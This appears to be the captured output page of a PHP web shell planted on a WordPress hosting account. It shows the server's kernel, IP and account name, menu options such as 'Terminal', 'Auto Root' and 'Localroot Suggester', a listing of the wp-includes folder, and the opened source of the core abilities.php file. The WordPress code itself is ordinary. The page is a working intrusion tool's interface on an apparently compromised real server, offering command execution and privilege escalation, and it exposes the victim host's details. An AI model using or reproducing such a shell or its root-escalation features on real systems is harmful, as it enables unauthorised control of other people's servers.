Linux premium61.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 185.61.154.53 & Your IP : 216.73.216.73
Domains :
Cant Read [ /etc/named.conf ]
User : vdeshvpx
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
vdeshvpx /
public_html /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2026-03-11 08:37
IXR
[ DIR ]
drwxr-xr-x
2025-09-03 07:18
PHPMailer
[ DIR ]
drwxr-xr-x
2026-04-20 00:44
Requests
[ DIR ]
drwxr-xr-x
2024-03-25 07:23
SimplePie
[ DIR ]
drwxr-xr-x
2025-10-16 14:45
Text
[ DIR ]
drwxr-xr-x
2025-09-17 09:44
abilities-api
[ DIR ]
drwxr-xr-x
2025-10-29 08:45
assets
[ DIR ]
drwxr-xr-x
2026-01-29 18:37
block-bindings
[ DIR ]
drwxr-xr-x
2025-10-17 12:39
block-patterns
[ DIR ]
drwxr-xr-x
2024-09-13 00:37
block-supports
[ DIR ]
drwxr-xr-x
2025-11-24 13:30
blocks
[ DIR ]
drwxr-xr-x
2026-01-29 18:37
certificates
[ DIR ]
drwxr-xr-x
2025-11-06 14:33
css
[ DIR ]
drwxr-xr-x
2026-01-29 18:37
customize
[ DIR ]
drwxr-xr-x
2025-10-06 20:24
fonts
[ DIR ]
drwxr-xr-x
2024-10-20 18:25
html-api
[ DIR ]
drwxr-xr-x
2026-03-10 08:57
images
[ DIR ]
drwxr-xr-x
2024-02-15 18:49
interactivity-api
[ DIR ]
drwxr-xr-x
2026-03-10 09:04
js
[ DIR ]
drwxr-xr-x
2026-03-10 09:05
l10n
[ DIR ]
drwxr-xr-x
2025-07-18 07:59
php-compat
[ DIR ]
drwxr-xr-x
2023-10-26 15:33
pomo
[ DIR ]
drwxr-xr-x
2024-03-27 07:30
rest-api
[ DIR ]
drwxr-xr-x
2026-03-11 08:36
sitemaps
[ DIR ]
drwxr-xr-x
2024-11-26 16:17
sodium_compat
[ DIR ]
drwxr-xr-x
2026-01-26 17:53
style-engine
[ DIR ]
drwxr-xr-x
2025-10-02 18:55
theme-compat
[ DIR ]
drwxr-xr-x
2023-11-26 11:43
widgets
[ DIR ]
drwxr-xr-x
2026-04-20 00:51
.htaccess
197
B
-r--r--r--
2026-04-08 06:51
abilities-api.php
23.8
KB
-rw-r--r--
2025-11-04 11:34
abilities.php
7.8
KB
-rw-r--r--
2025-11-17 05:58
admin-bar.php
36.1
KB
-rw-r--r--
2025-10-02 13:15
atomlib.php
11.9
KB
-rw-r--r--
2025-09-03 07:18
author-template.php
18.94
KB
-rw-r--r--
2025-10-23 23:04
block-bindings.php
7.35
KB
-rw-r--r--
2025-10-20 03:52
block-editor.php
28.6
KB
-rw-r--r--
2025-09-29 03:59
block-i18n.json
316
B
-rw-r--r--
2021-08-11 04:08
block-patterns.php
12.9
KB
-rw-r--r--
2024-11-29 17:46
block-template-utils.php
61.02
KB
-rw-r--r--
2025-11-07 07:42
block-template.php
15
KB
-rw-r--r--
2025-11-07 07:42
blocks.php
112.05
KB
-rw-r--r--
2025-10-21 06:32
bookmark-template.php
12.47
KB
-rw-r--r--
2025-03-19 18:15
bookmark.php
15.07
KB
-rw-r--r--
2024-03-23 09:20
cache-compat.php
9.84
KB
-rw-r--r--
2025-08-31 16:43
cache.php
13.17
KB
-rw-r--r--
2025-04-29 17:44
canonical.php
33.83
KB
-rw-r--r--
2025-11-04 13:31
capabilities.php
42.63
KB
-rw-r--r--
2025-12-15 17:33
category-template.php
55.71
KB
-rw-r--r--
2025-06-03 11:51
category.php
12.53
KB
-rw-r--r--
2025-01-24 18:28
class-IXR.php
2.55
KB
-rw-r--r--
2025-01-22 14:48
class-avif-info.php
28.92
KB
-rw-r--r--
2024-04-26 10:02
class-feed.php
539
B
-rw-r--r--
2024-09-30 17:50
class-http.php
367
B
-rw-r--r--
2022-06-17 06:20
class-json.php
42.65
KB
-rw-r--r--
2025-08-25 08:10
class-oembed.php
401
B
-rw-r--r--
2022-06-17 06:20
class-phpass.php
6.61
KB
-rw-r--r--
2024-09-17 16:08
class-phpmailer.php
664
B
-rw-r--r--
2020-07-21 07:58
class-pop3.php
20.63
KB
-rw-r--r--
2024-10-25 15:26
class-requests.php
2.18
KB
-rw-r--r--
2023-04-05 08:12
class-simplepie.php
453
B
-rw-r--r--
2024-09-30 17:50
class-smtp.php
457
B
-rw-r--r--
2021-01-26 08:45
class-snoopy.php
36.83
KB
-rw-r--r--
2023-02-03 08:35
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-09-14 07:46
class-walker-category.php
8.28
KB
-rw-r--r--
2023-09-08 04:32
class-walker-comment.php
13.89
KB
-rw-r--r--
2024-03-18 10:46
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
2025-01-21 16:26
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-09-14 07:46
class-walker-page.php
7.43
KB
-rw-r--r--
2023-09-14 07:46
class-wp-admin-bar.php
17.46
KB
-rw-r--r--
2024-07-17 19:52
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2022-09-12 10:47
class-wp-application-passwords.php
16.7
KB
-rw-r--r--
2025-04-03 08:53
class-wp-block-bindings-registry.php
8.28
KB
-rw-r--r--
2025-10-06 06:31
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
2025-09-28 16:56
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-09-12 10:47
class-wp-block-list.php
4.6
KB
-rw-r--r--
2025-08-07 09:47
class-wp-block-metadata-registry.php
11.62
KB
-rw-r--r--
2025-03-05 17:17
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2025-10-21 02:14
class-wp-block-parser-frame.php
1.97
KB
-rw-r--r--
2024-09-19 20:55
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2025-10-21 02:14
class-wp-block-pattern-categories-registry.php
5.32
KB
-rw-r--r--
2025-10-06 06:31
class-wp-block-patterns-registry.php
10.99
KB
-rw-r--r--
2026-03-10 16:20
class-wp-block-processor.php
68.32
KB
-rw-r--r--
2026-01-26 11:30
class-wp-block-styles-registry.php
6.34
KB
-rw-r--r--
2025-10-06 06:31
class-wp-block-supports.php
5.49
KB
-rw-r--r--
2025-03-04 08:06
class-wp-block-template.php
1.99
KB
-rw-r--r--
2024-09-19 21:07
class-wp-block-templates-registry.php
7.02
KB
-rw-r--r--
2025-10-30 11:03
class-wp-block-type-registry.php
4.91
KB
-rw-r--r--
2025-09-29 11:29
class-wp-block-type.php
16.86
KB
-rw-r--r--
2024-05-01 19:01
class-wp-block.php
24.23
KB
-rw-r--r--
2025-10-20 04:20
class-wp-classic-to-block-menu-converter.php
3.97
KB
-rw-r--r--
2025-06-18 15:39
class-wp-comment-query.php
47.66
KB
-rw-r--r--
2025-10-31 13:57
class-wp-comment.php
9.22
KB
-rw-r--r--
2025-02-11 08:40
class-wp-customize-control.php
25.51
KB
-rw-r--r--
2025-09-06 21:47
class-wp-customize-manager.php
198.38
KB
-rw-r--r--
2025-10-06 20:24
class-wp-customize-nav-menus.php
56.65
KB
-rw-r--r--
2025-10-06 20:24
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
2025-01-22 14:48
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2024-10-13 14:09
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
2025-01-22 14:48
class-wp-customize-widgets.php
70.91
KB
-rw-r--r--
2025-10-06 20:24
class-wp-date-query.php
35.3
KB
-rw-r--r--
2025-11-10 15:28
class-wp-dependencies.php
16.61
KB
-rw-r--r--
2026-01-28 16:30
class-wp-dependency.php
2.57
KB
-rw-r--r--
2025-10-14 00:47
class-wp-duotone.php
39.83
KB
-rw-r--r--
2024-06-14 07:18
class-wp-editor.php
70.64
KB
-rw-r--r--
2025-04-24 17:22
class-wp-embed.php
15.56
KB
-rw-r--r--
2025-04-10 08:47
class-wp-error.php
7.33
KB
-rw-r--r--
2023-02-21 11:39
class-wp-exception.php
253
B
-rw-r--r--
2024-09-27 14:28
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-10-22 05:16
class-wp-feed-cache-transient.php
3.23
KB
-rw-r--r--
2025-07-30 18:03
class-wp-feed-cache.php
969
B
-rw-r--r--
2024-09-30 17:50
class-wp-hook.php
16.28
KB
-rw-r--r--
2025-11-03 18:47
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
2023-06-24 12:17
class-wp-http-curl.php
12.95
KB
-rw-r--r--
2025-09-03 07:18
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-06-22 09:57
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
2026-03-10 08:55
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-06-22 09:36
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2022-12-15 16:32
class-wp-http-requests-response.php
4.3
KB
-rw-r--r--
2023-10-11 02:05
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-09-12 10:47
class-wp-http-streams.php
16.46
KB
-rw-r--r--
2023-09-21 13:29
class-wp-http.php
40.6
KB
-rw-r--r--
2025-08-20 07:55
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
2025-09-03 07:18
class-wp-image-editor-imagick.php
36.11
KB
-rw-r--r--
2025-08-26 16:05
class-wp-image-editor.php
17.01
KB
-rw-r--r--
2025-04-28 11:37
class-wp-list-util.php
7.27
KB
-rw-r--r--
2024-02-27 17:38
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
2025-05-11 12:16
class-wp-locale.php
16.49
KB
-rw-r--r--
2025-02-25 17:40
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
2024-02-05 20:25
class-wp-meta-query.php
29.82
KB
-rw-r--r--
2025-04-20 18:51
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2025-10-21 10:59
class-wp-navigation-fallback.php
8.98
KB
-rw-r--r--
2025-06-18 15:39
class-wp-network-query.php
19.42
KB
-rw-r--r--
2025-08-31 16:43
class-wp-network.php
12.01
KB
-rw-r--r--
2024-09-13 17:12
class-wp-object-cache.php
17.11
KB
-rw-r--r--
2025-04-04 17:00
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
2024-03-06 00:05
class-wp-oembed.php
30.93
KB
-rw-r--r--
2025-06-24 18:40
class-wp-paused-extensions-storage.php
4.99
KB
-rw-r--r--
2024-09-03 13:19
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
2025-10-01 08:23
class-wp-plugin-dependencies.php
24.72
KB
-rw-r--r--
2025-10-20 23:33
class-wp-post-type.php
29.96
KB
-rw-r--r--
2025-02-09 06:09
class-wp-post.php
6.34
KB
-rw-r--r--
2025-08-20 10:01
class-wp-query.php
159.91
KB
-rw-r--r--
2025-10-22 01:30
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-10-03 22:59
class-wp-recovery-mode-email-service.php
10.92
KB
-rw-r--r--
2023-05-02 10:45
class-wp-recovery-mode-key-service.php
4.77
KB
-rw-r--r--
2025-02-17 06:24
class-wp-recovery-mode-link-service.php
3.38
KB
-rw-r--r--
2022-09-12 10:47
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
2025-02-23 06:11
class-wp-rewrite.php
62.19
KB
-rw-r--r--
2025-07-15 03:22
class-wp-role.php
2.46
KB
-rw-r--r--
2023-09-08 04:32
class-wp-roles.php
9.17
KB
-rw-r--r--
2025-12-15 17:33
class-wp-script-modules.php
32.15
KB
-rw-r--r--
2026-01-28 16:30
class-wp-scripts.php
34.05
KB
-rw-r--r--
2026-01-28 16:30
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
2025-02-11 06:14
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
2025-09-16 17:47
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rw-r--r--
2025-01-22 14:48
class-wp-site-query.php
30.91
KB
-rw-r--r--
2025-08-31 16:43
class-wp-site.php
7.29
KB
-rw-r--r--
2025-06-27 10:09
class-wp-speculation-rules.php
7.35
KB
-rw-r--r--
2025-02-18 17:32
class-wp-styles.php
12.54
KB
-rw-r--r--
2026-01-28 16:30
class-wp-tax-query.php
19.12
KB
-rw-r--r--
2025-06-16 12:08
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
2025-03-26 16:42
class-wp-term-query.php
39.99
KB
-rw-r--r--
2025-10-22 11:30
class-wp-term.php
5.17
KB
-rw-r--r--
2022-09-12 10:47
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-02-14 14:27
class-wp-text-diff-renderer-table.php
18.44
KB
-rw-r--r--
2025-01-22 14:48
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2024-11-19 21:50
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2024-06-04 06:55
class-wp-theme-json-resolver.php
34.9
KB
-rw-r--r--
2024-11-03 21:34
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-06-06 03:02
class-wp-theme-json.php
160.5
KB
-rw-r--r--
2025-11-10 01:43
class-wp-theme.php
64.27
KB
-rw-r--r--
2025-09-28 16:56
class-wp-token-map.php
27.95
KB
-rw-r--r--
2024-07-19 18:44
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2025-02-18 17:32
class-wp-user-meta-session-tokens.php
2.94
KB
-rw-r--r--
2025-07-06 06:57
class-wp-user-query.php
43.13
KB
-rw-r--r--
2025-08-31 16:43
class-wp-user-request.php
2.25
KB
-rw-r--r--
2025-02-17 06:24
class-wp-user.php
22.5
KB
-rw-r--r--
2025-11-11 07:53
class-wp-walker.php
13.01
KB
-rw-r--r--
2024-07-26 02:56
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2022-09-12 10:47
class-wp-widget.php
18
KB
-rw-r--r--
2024-11-02 10:01
class-wp-xmlrpc-server.php
210.4
KB
-rw-r--r--
2025-08-21 10:00
class-wp.php
25.86
KB
-rw-r--r--
2025-10-31 23:46
class-wpdb.php
115.85
KB
-rw-r--r--
2025-11-10 15:28
class.wp-dependencies.php
373
B
-rw-r--r--
2022-09-20 09:17
class.wp-scripts.php
343
B
-rw-r--r--
2022-09-20 09:17
class.wp-styles.php
338
B
-rw-r--r--
2022-09-20 09:17
comment-template.php
100.73
KB
-rw-r--r--
2025-10-21 09:00
comment.php
130.93
KB
-rw-r--r--
2025-12-01 10:44
compat-utf8.php
19.1
KB
-rw-r--r--
2025-10-21 09:03
compat.php
17.41
KB
-rw-r--r--
2025-12-01 09:29
cron.php
41.98
KB
-rw-r--r--
2025-12-01 09:19
date.php
400
B
-rw-r--r--
2022-06-17 06:20
default-constants.php
11.1
KB
-rw-r--r--
2024-09-30 18:58
default-filters.php
37.02
KB
-rw-r--r--
2025-11-10 17:51
default-widgets.php
2.24
KB
-rw-r--r--
2025-01-22 14:48
deprecated.php
188.13
KB
-rw-r--r--
2025-10-07 01:24
embed-template.php
338
B
-rw-r--r--
2022-06-17 06:20
embed.php
38
KB
-rw-r--r--
2025-11-03 19:47
error-protection.php
4.02
KB
-rw-r--r--
2023-05-02 10:45
error_log
2.66
KB
-rw-r--r--
2026-04-20 07:10
feed-atom-comments.php
5.38
KB
-rw-r--r--
2024-03-04 07:41
feed-atom.php
3.05
KB
-rw-r--r--
2025-01-22 14:48
feed-rdf.php
2.61
KB
-rw-r--r--
2020-01-28 19:45
feed-rss.php
1.16
KB
-rw-r--r--
2020-01-28 19:45
feed-rss2-comments.php
4.04
KB
-rw-r--r--
2024-03-04 07:41
feed-rss2.php
3.71
KB
-rw-r--r--
2020-01-28 19:45
feed.php
24.6
KB
-rw-r--r--
2026-01-28 20:07
fonts.php
9.56
KB
-rw-r--r--
2025-10-09 17:05
formatting.php
346.43
KB
-rw-r--r--
2025-11-24 14:11
functions.php
281.84
KB
-rw-r--r--
2025-11-06 18:37
functions.wp-scripts.php
14.95
KB
-rw-r--r--
2025-10-16 15:01
functions.wp-styles.php
8.44
KB
-rw-r--r--
2025-10-16 15:01
general-template.php
168.95
KB
-rw-r--r--
2025-11-10 17:31
global-styles-and-settings.php
20.71
KB
-rw-r--r--
2025-07-15 07:27
http.php
25.27
KB
-rw-r--r--
2025-08-20 07:55
https-detection.php
5.72
KB
-rw-r--r--
2025-02-24 08:43
https-migration.php
4.63
KB
-rw-r--r--
2023-07-10 17:38
kses.php
81.73
KB
-rw-r--r--
2026-03-10 08:59
l10n.php
67.18
KB
-rw-r--r--
2025-09-11 05:13
link-template.php
156.36
KB
-rw-r--r--
2025-10-26 16:21
load.php
55.19
KB
-rw-r--r--
2025-09-09 09:33
locale.php
162
B
-rw-r--r--
2019-10-08 12:19
media-template.php
61.72
KB
-rw-r--r--
2025-09-28 18:40
media.php
216.06
KB
-rw-r--r--
2026-03-10 09:02
meta.php
65
KB
-rw-r--r--
2025-05-29 18:09
ms-blogs.php
25.24
KB
-rw-r--r--
2025-01-22 14:48
ms-default-constants.php
4.81
KB
-rw-r--r--
2024-06-13 15:50
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-02-23 20:23
ms-deprecated.php
21.25
KB
-rw-r--r--
2024-04-12 12:47
ms-files.php
2.79
KB
-rw-r--r--
2025-10-17 12:14
ms-functions.php
89.69
KB
-rw-r--r--
2025-10-27 11:35
ms-load.php
19.42
KB
-rw-r--r--
2025-05-26 06:20
ms-network.php
3.69
KB
-rw-r--r--
2023-05-02 06:26
ms-settings.php
4.11
KB
-rw-r--r--
2025-08-27 08:42
ms-site.php
40.74
KB
-rw-r--r--
2025-06-27 10:09
nav-menu-template.php
25.38
KB
-rw-r--r--
2025-01-22 14:48
nav-menu.php
43.31
KB
-rw-r--r--
2026-03-10 09:01
option.php
102.57
KB
-rw-r--r--
2025-11-07 07:42
pluggable-deprecated.php
6.18
KB
-rw-r--r--
2025-02-03 14:52
pluggable.php
124.47
KB
-rw-r--r--
2026-01-28 16:17
plugin.php
35.65
KB
-rw-r--r--
2025-11-03 18:47
post-formats.php
6.94
KB
-rw-r--r--
2024-05-27 11:29
post-template.php
67.04
KB
-rw-r--r--
2025-05-05 17:42
post-thumbnail-template.php
10.62
KB
-rw-r--r--
2024-12-20 18:35
post.php
289.13
KB
-rw-r--r--
2025-11-07 07:42
query.php
36.23
KB
-rw-r--r--
2025-08-31 16:43
registration-functions.php
200
B
-rw-r--r--
2020-11-12 06:17
registration.php
200
B
-rw-r--r--
2020-11-12 06:17
rest-api.php
98.29
KB
-rw-r--r--
2025-11-07 07:42
revision.php
30.02
KB
-rw-r--r--
2025-01-27 18:07
rewrite.php
19.03
KB
-rw-r--r--
2025-07-11 08:16
robots-template.php
5.06
KB
-rw-r--r--
2022-04-06 10:33
rss-functions.php
255
B
-rw-r--r--
2020-11-16 17:52
rss.php
22.66
KB
-rw-r--r--
2025-09-03 07:18
script-loader.php
154.63
KB
-rw-r--r--
2026-01-29 16:27
script-modules.php
9.68
KB
-rw-r--r--
2025-10-21 06:32
session.php
258
B
-rw-r--r--
2020-02-06 01:33
shortcodes.php
23.49
KB
-rw-r--r--
2025-11-04 14:51
sitemaps.php
3.16
KB
-rw-r--r--
2021-05-15 12:38
speculative-loading.php
8.4
KB
-rw-r--r--
2025-08-27 05:34
spl-autoload-compat.php
441
B
-rw-r--r--
2020-11-12 06:17
style-engine.php
7.39
KB
-rw-r--r--
2024-05-02 23:47
taxonomy.php
172.91
KB
-rw-r--r--
2025-10-14 19:42
template-canvas.php
544
B
-rw-r--r--
2023-09-30 19:22
template-loader.php
4.17
KB
-rw-r--r--
2026-03-10 16:20
template.php
35.97
KB
-rw-r--r--
2025-11-04 14:51
theme-i18n.json
1.69
KB
-rw-r--r--
2025-12-10 04:44
theme-previews.php
2.84
KB
-rw-r--r--
2025-08-27 05:34
theme-templates.php
6.09
KB
-rw-r--r--
2025-11-07 07:42
theme.json
8.71
KB
-rw-r--r--
2025-10-21 07:22
theme.php
131.84
KB
-rw-r--r--
2025-10-20 17:31
update.php
37.45
KB
-rw-r--r--
2025-10-20 21:50
user.php
173.89
KB
-rw-r--r--
2025-11-04 14:00
utf8.php
7.09
KB
-rw-r--r--
2025-10-20 21:35
vars.php
6.41
KB
-rw-r--r--
2025-01-22 14:48
version.php
1.08
KB
-rw-r--r--
2026-03-11 09:28
widgets.php
69.46
KB
-rw-r--r--
2025-09-12 13:05
wp-db.php
445
B
-rw-r--r--
2022-07-21 17:45
wp-diff.php
799
B
-rw-r--r--
2025-01-22 14:48
Save
Rename
<?php /** * Abilities API: core functions for registering and managing abilities. * * The Abilities API provides a unified, extensible framework for registering * and executing discrete capabilities within WordPress. An "ability" is a * self-contained unit of functionality with defined inputs, outputs, permissions, * and execution logic. * * ## Overview * * The Abilities API enables developers to: * * - Register custom abilities with standardized interfaces. * - Define permission checks and execution callbacks. * - Organize abilities into logical categories. * - Validate inputs and outputs using JSON Schema. * - Expose abilities through the REST API. * * ## Working with Abilities * * Abilities must be registered on the `wp_abilities_api_init` action hook. * Attempting to register an ability outside of this hook will fail and * trigger a `_doing_it_wrong()` notice. * Example: * * function my_plugin_register_abilities(): void { * wp_register_ability( * 'my-plugin/export-users', * array( * 'label' => __( 'Export Users', 'my-plugin' ), * 'description' => __( 'Exports user data to CSV format.', 'my-plugin' ), * 'category' => 'data-export', * 'execute_callback' => 'my_plugin_export_users', * 'permission_callback' => function(): bool { * return current_user_can( 'export' ); * }, * 'input_schema' => array( * 'type' => 'string', * 'enum' => array( 'subscriber', 'contributor', 'author', 'editor', 'administrator' ), * 'description' => __( 'Limits the export to users with this role.', 'my-plugin' ), * 'required' => false, * ), * 'output_schema' => array( * 'type' => 'string', * 'description' => __( 'User data in CSV format.', 'my-plugin' ), * 'required' => true, * ), * 'meta' => array( * 'show_in_rest' => true, * ), * ) * ); * } * add_action( 'wp_abilities_api_init', 'my_plugin_register_abilities' ); * * Once registered, abilities can be checked, retrieved, and managed: * * // Checks if an ability is registered, and prints its label. * if ( wp_has_ability( 'my-plugin/export-users' ) ) { * $ability = wp_get_ability( 'my-plugin/export-users' ); * * echo $ability->get_label(); * } * * // Gets all registered abilities. * $all_abilities = wp_get_abilities(); * * // Unregisters when no longer needed. * wp_unregister_ability( 'my-plugin/export-users' ); * * ## Best Practices * * - Always register abilities on the `wp_abilities_api_init` hook. * - Use namespaced ability names to prevent conflicts. * - Implement robust permission checks in permission callbacks. * - Provide an `input_schema` to ensure data integrity and document expected inputs. * - Define an `output_schema` to describe return values and validate responses. * - Return `WP_Error` objects for failures rather than throwing exceptions. * - Use internationalization functions for all user-facing strings. * * @package WordPress * @subpackage Abilities_API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Registers a new ability using the Abilities API. It requires three steps: * * 1. Hook into the `wp_abilities_api_init` action. * 2. Call `wp_register_ability()` with a namespaced name and configuration. * 3. Provide execute and permission callbacks. * * Example: * * function my_plugin_register_abilities(): void { * wp_register_ability( * 'my-plugin/analyze-text', * array( * 'label' => __( 'Analyze Text', 'my-plugin' ), * 'description' => __( 'Performs sentiment analysis on provided text.', 'my-plugin' ), * 'category' => 'text-processing', * 'input_schema' => array( * 'type' => 'string', * 'description' => __( 'The text to be analyzed.', 'my-plugin' ), * 'minLength' => 10, * 'required' => true, * ), * 'output_schema' => array( * 'type' => 'string', * 'enum' => array( 'positive', 'negative', 'neutral' ), * 'description' => __( 'The sentiment result: positive, negative, or neutral.', 'my-plugin' ), * 'required' => true, * ), * 'execute_callback' => 'my_plugin_analyze_text', * 'permission_callback' => 'my_plugin_can_analyze_text', * 'meta' => array( * 'annotations' => array( * 'readonly' => true, * ), * 'show_in_rest' => true, * ), * ) * ); * } * add_action( 'wp_abilities_api_init', 'my_plugin_register_abilities' ); * * ### Naming Conventions * * Ability names must follow these rules: * * - Include a namespace prefix (e.g., `my-plugin/my-ability`). * - Use only lowercase alphanumeric characters, dashes, and forward slashes. * - Use descriptive, action-oriented names (e.g., `process-payment`, `generate-report`). * * ### Categories * * Abilities must be organized into categories. Ability categories provide better * discoverability and must be registered before the abilities that reference them: * * function my_plugin_register_categories(): void { * wp_register_ability_category( * 'text-processing', * array( * 'label' => __( 'Text Processing', 'my-plugin' ), * 'description' => __( 'Abilities for analyzing and transforming text.', 'my-plugin' ), * ) * ); * } * add_action( 'wp_abilities_api_categories_init', 'my_plugin_register_categories' ); * * ### Input and Output Schemas * * Schemas define the expected structure, type, and constraints for ability inputs * and outputs using JSON Schema syntax. They serve two critical purposes: automatic * validation of data passed to and returned from abilities, and self-documenting * API contracts for developers. * * WordPress implements a validator based on a subset of the JSON Schema Version 4 * specification (https://json-schema.org/specification-links.html#draft-4). * For details on supported JSON Schema properties and syntax, see the * related WordPress REST API Schema documentation: * https://developer.wordpress.org/rest-api/extending-the-rest-api/schema/#json-schema-basics * * Defining schemas is mandatory when there is a value to pass or return. * They ensure data integrity, improve developer experience, and enable * better documentation: * * 'input_schema' => array( * 'type' => 'string', * 'description' => __( 'The text to be analyzed.', 'my-plugin' ), * 'minLength' => 10, * 'required' => true, * ), * 'output_schema' => array( * 'type' => 'string', * 'enum' => array( 'positive', 'negative', 'neutral' ), * 'description' => __( 'The sentiment result: positive, negative, or neutral.', 'my-plugin' ), * 'required' => true, * ), * * ### Callbacks * * #### Execute Callback * * The execute callback performs the ability's core functionality. It receives * optional input data and returns either a result or `WP_Error` on failure. * * function my_plugin_analyze_text( string $input ): string|WP_Error { * $score = My_Plugin::perform_sentiment_analysis( $input ); * if ( is_wp_error( $score ) ) { * return $score; * } * return My_Plugin::interpret_sentiment_score( $score ); * } * * #### Permission Callback * * The permission callback determines whether the ability can be executed. * It receives the same input as the execute callback and must return a * boolean or `WP_Error`. Common use cases include checking user capabilities, * validating API keys, or verifying system state: * * function my_plugin_can_analyze_text( string $input ): bool|WP_Error { * return current_user_can( 'edit_posts' ); * } * * ### REST API Integration * * Abilities can be exposed through the REST API by setting `show_in_rest` * to `true` in the meta configuration: * * 'meta' => array( * 'show_in_rest' => true, * ), * * This allows abilities to be invoked via HTTP requests to the WordPress REST API. * * @since 6.9.0 * * @see WP_Abilities_Registry::register() * @see wp_register_ability_category() * @see wp_unregister_ability() * * @param string $name The name of the ability. Must be a namespaced string containing * a prefix, e.g., `my-plugin/my-ability`. Can only contain lowercase * alphanumeric characters, dashes, and forward slashes. * @param array<string, mixed> $args { * An associative array of arguments for configuring the ability. * * @type string $label Required. The human-readable label for the ability. * @type string $description Required. A detailed description of what the ability does * and when it should be used. * @type string $category Required. The ability category slug this ability belongs to. * The ability category must be registered via `wp_register_ability_category()` * before registering the ability. * @type callable $execute_callback Required. A callback function to execute when the ability is invoked. * Receives optional mixed input data and must return either a result * value (any type) or a `WP_Error` object on failure. * @type callable $permission_callback Required. A callback function to check permissions before execution. * Receives optional mixed input data (same as `execute_callback`) and * must return `true`/`false` for simple checks, or `WP_Error` for * detailed error responses. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for validating the ability's input. * Must be a valid JSON Schema object defining the structure and * constraints for input data. Used for automatic validation and * API documentation. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * Describes the structure of successful return values from * `execute_callback`. Used for documentation and validation. * @type array<string, mixed> $meta { * Optional. Additional metadata for the ability. * * @type array<string, bool|null> $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. * When true, the ability can be invoked via HTTP requests. * Default false. * } * @type string $ability_class Optional. Fully-qualified custom class name to instantiate * instead of the default `WP_Ability` class. The custom class * must extend `WP_Ability`. Useful for advanced customization * of ability behavior. * } * @return WP_Ability|null The registered ability instance on success, `null` on failure. */ function wp_register_ability( string $name, array $args ): ?WP_Ability { if ( ! doing_action( 'wp_abilities_api_init' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: wp_abilities_api_init, 2: string value of the ability name. */ __( 'Abilities must be registered on the %1$s action. The ability %2$s was not registered.' ), '<code>wp_abilities_api_init</code>', '<code>' . esc_html( $name ) . '</code>' ), '6.9.0' ); return null; } $registry = WP_Abilities_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->register( $name, $args ); } /** * Unregisters an ability from the Abilities API. * * Removes a previously registered ability from the global registry. Use this to * disable abilities provided by other plugins or when an ability is no longer needed. * * Can be called at any time after the ability has been registered. * * Example: * * if ( wp_has_ability( 'other-plugin/some-ability' ) ) { * wp_unregister_ability( 'other-plugin/some-ability' ); * } * * @since 6.9.0 * * @see WP_Abilities_Registry::unregister() * @see wp_register_ability() * * @param string $name The name of the ability to unregister, including namespace prefix * (e.g., 'my-plugin/my-ability'). * @return WP_Ability|null The unregistered ability instance on success, `null` on failure. */ function wp_unregister_ability( string $name ): ?WP_Ability { $registry = WP_Abilities_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->unregister( $name ); } /** * Checks if an ability is registered. * * Use this for conditional logic and feature detection before attempting to * retrieve or use an ability. * * Example: * * // Displays different UI based on available abilities. * if ( wp_has_ability( 'premium-plugin/advanced-export' ) ) { * echo 'Export with Premium Features'; * } else { * echo 'Basic Export'; * } * * @since 6.9.0 * * @see WP_Abilities_Registry::is_registered() * @see wp_get_ability() * * @param string $name The name of the ability to check, including namespace prefix * (e.g., 'my-plugin/my-ability'). * @return bool `true` if the ability is registered, `false` otherwise. */ function 